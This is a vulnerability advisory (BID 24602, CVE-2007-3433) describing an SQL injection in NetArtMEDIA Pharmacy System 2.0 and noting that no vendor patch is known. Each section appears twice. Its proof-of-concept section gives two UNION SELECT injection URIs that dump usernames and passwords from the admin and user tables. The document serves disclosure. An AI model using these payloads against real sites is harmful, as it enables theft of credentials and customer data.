Pharmacy System Index.PHP SQL Injection Vulnerability
BID:24602
Info
Pharmacy System Index.PHP SQL Injection Vulnerability
| Bugtraq ID: | 24602 |
| Class: | Input Validation Error |
| CVE: |
CVE-2007-3433 |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 24 2007 12:00AM |
| Updated: | May 07 2015 05:37PM |
| Credit: | t0pP8uZz & xprog are credited with the discovery of this vulnerability. |
| Vulnerable: |
NetArtMEDIA Pharmacy System 2.0 |
| Not Vulnerable: | |
Discussion
Pharmacy System Index.PHP SQL Injection Vulnerability
Pharmacy System is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
This issue affects Pharmacy System 2; other versions may also be vulnerable.
Pharmacy System is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
This issue affects Pharmacy System 2; other versions may also be vulnerable.
Exploit / POC
Pharmacy System Index.PHP SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following proof-of-concept URIs are available:
http://www.example.com/SCRIPT_PATH/index.php?mod=cart&quantity=1&action=add&ID=-1%20and%201=2%20UNION%20ALL%20SELECT%201,2,3,concat(username,password),5,6,7,8,9,10,11%20FROM%20pharma1_admin_users
http://www.example.com/SCRIPT_PATH/index.php?mod=cart&quantity=1&action=add&ID=-1%20and%201=2%20UNION%20ALL%20SELECT%201,2,3,concat(username,password),5,6,7,8,9,10,11%20FROM%20pharma1_users
Attackers can use a browser to exploit this issue.
The following proof-of-concept URIs are available:
http://www.example.com/SCRIPT_PATH/index.php?mod=cart&quantity=1&action=add&ID=-1%20and%201=2%20UNION%20ALL%20SELECT%201,2,3,concat(username,password),5,6,7,8,9,10,11%20FROM%20pharma1_admin_users
http://www.example.com/SCRIPT_PATH/index.php?mod=cart&quantity=1&action=add&ID=-1%20and%201=2%20UNION%20ALL%20SELECT%201,2,3,concat(username,password),5,6,7,8,9,10,11%20FROM%20pharma1_users
Solution / Fix
Pharmacy System Index.PHP SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].